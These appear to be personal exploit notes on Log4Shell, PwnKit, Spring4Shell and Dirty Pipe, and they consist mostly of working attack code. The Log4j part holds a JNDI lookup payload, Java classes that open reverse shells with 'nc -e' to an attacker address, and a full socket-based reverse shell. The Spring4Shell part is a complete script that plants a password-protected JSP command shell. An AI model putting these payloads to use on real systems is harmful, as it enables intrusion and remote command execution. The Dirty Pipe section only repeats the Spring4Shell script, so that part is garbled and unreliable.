Log4j (CVE-2021-44228)

Java logging library for db's, files, outputs. Loggers collect data, appenders publish it and layouts format. It processes patterns like ${ENV:HOSTNAME} to enhance logs.

{jndi:ldap://ATTACKER\\a}

JNDI enables unauthorized access to resources, allowing code exec in logs. This vuln impacts any app that logs data, amplifying severity.

Original talk: BH 2016: JNDI LDAP to RCE

Know. Before it matters

marshalsec, shell-poc

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOURRIP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

=================
example (tract0r)
=================

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="172.20.0.9";
    int port=9001;
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

import java.io.IOException;
public class Log4jRCE {
  public Log4jRCE() throws Exception {
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command("sh", "-c", "nc 172.20.0.9 9001 -e /bin/sh");
            try {
                Process process = processBuilder.start();
            } catch (Exception e) {
              e.printStackTrace();
            }
    }
}

// Detection 
ps aux | egrep '[l]og4j' find / -iname "log4j*" lsof | grep log4j
Find places to which your applications write logs
lsof | grep '.log'

jps | grep -v " Jps$" |  cut -f1 -d " " | xargs -I '{}' jcmd '{}' VM.class_hierarchy | grep logging.log4j 

pwnkit (CVE-2021-4034)

Polkit enables unprivileged users to interact with privileged processes. A memory corruption bug in pkexec (from 2009, found 2022) allows privilege escalation via command execution.

PwnKit research: Qualys blog on CVE-2021-4034

pkexec's main() function processes args, searching for executable programs. With non-absolute paths, it checks PATH directories, causing out-of-bounds writes to envp[0]. This enables injection of insecure env vars into pkexec's env, bypassing SUID safeguards that normally remove them before main():

main (int argc, char *argv[])
{
    for (n = 1; n < (guint) argc; n++)
    {

    }
    path = g_strdup (argv[n]);
    if (path[0] != '/')
    {
        s = g_find_program_in_path (path);
        argv[n] = path = s;
        }

spring4shell

Java framework vulnerable with JDK9+. Attackers exploit parameter binding to access AccessLogValve and use pipeline mechanism for arbitrary file writes under specific conditions.

JDK 9.0+ Spring framework/derivative framework spring-beans-*.jar exists

#!/usr/bin/env python3
# Spring4Shell Exploit
# Original Exploit: <https://github.com/BobTheShoplifter/Spring4Shell-POC/>
# Modified by: AG | MuirlandOracle

import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)

dirty pipe

Linux kernel vuln allowing overwrite of data in read-only files, privesc through code injection into root procs. Similar to Dirty Cow.

#!/usr/bin/env python3
# Spring4Shell Exploit
# Original Exploit: <https://github.com/BobTheShoplifter/Spring4Shell-POC/>
# Modified by: AG | MuirlandOracle

import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)